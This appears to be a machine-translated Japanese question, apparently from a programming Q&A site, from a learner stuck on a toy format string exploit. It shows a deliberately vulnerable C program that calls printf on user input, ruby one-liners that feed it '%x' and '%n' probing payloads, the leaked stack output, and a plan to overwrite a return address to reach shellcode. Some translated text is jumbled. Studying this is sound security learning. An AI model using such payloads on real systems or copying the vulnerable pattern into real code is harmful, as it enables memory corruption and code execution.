はい、かなりの数の同様の質問が既に存在します (5037601、19166698、4855162、14505995、5052648、13409508、7745146、7459630; 申し訳ありませんが、2 つ以上のリンクには十分な担当者がいません)。こと(クリック、クリック、http://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html)。私はそれらを読んで、大まかな考えは理解できたと思いますが、考えられる最も簡単なトレーニング おもちゃの例をうまく活用できていません。
#include <stdio.h>
void f(char* a)
{
printf("a: %p\n", &a);
printf(a);
return;
}
void main(int argc, char** argv)
{
f(argv[1]); //please ignore the lack of any check
return;
}
はい、スタックは実行可能であり、メモリ レイアウトのランダム化は無効になっています。実行するたびに、 の同じアドレスが得られますa
。たとえば$ ruby -e 'print "AAAA"+("%08x."*16)'
、それをフィードできます。その結果、次のようになります。
a: 0xbfffece0
AAAAbfffece0.bfffecf0.b7fd7ff4.00000000.00000000.bffffcf8.080484b0.bfffecf0.00000fff.b7fd8420.00000000.41414141.78383025.3830252e.30252e78.252e7838.
これで、入力がメモリ内のどこにあるかを確認できます。を使用してスタックに値を書き込むことができます$ ruby -e 'print "12345%n"+("%08x."*16)'
。その結果、次のようになります。
a: 0xbfffece0
12345bfffecf0.b7fd7ff4.00000000.00000000.bffffcf8.080484b0.00000005.00000fff.b7fd8420.00000000.34333231.256e2535.2e783830.78383025.3830252e.30252e78.
明らかに、私の最終的な目標は、プログラムが NOP スレッドにジャンプしてシェルコードを実行するよう<something><NOPs><shellcode>
に、<something>
の戻りアドレスを上書きするようなものになると思われます。f
しかし、保存された差出人住所の住所は、今の私の入力に依存しているようですよね? 0xbfffece0 - len(input) - 12
12バイトのプロローグを想定して、に似た何か?結局のところ、この例は最も簡単ではないかもしれません...
私は混乱しています。何か案は?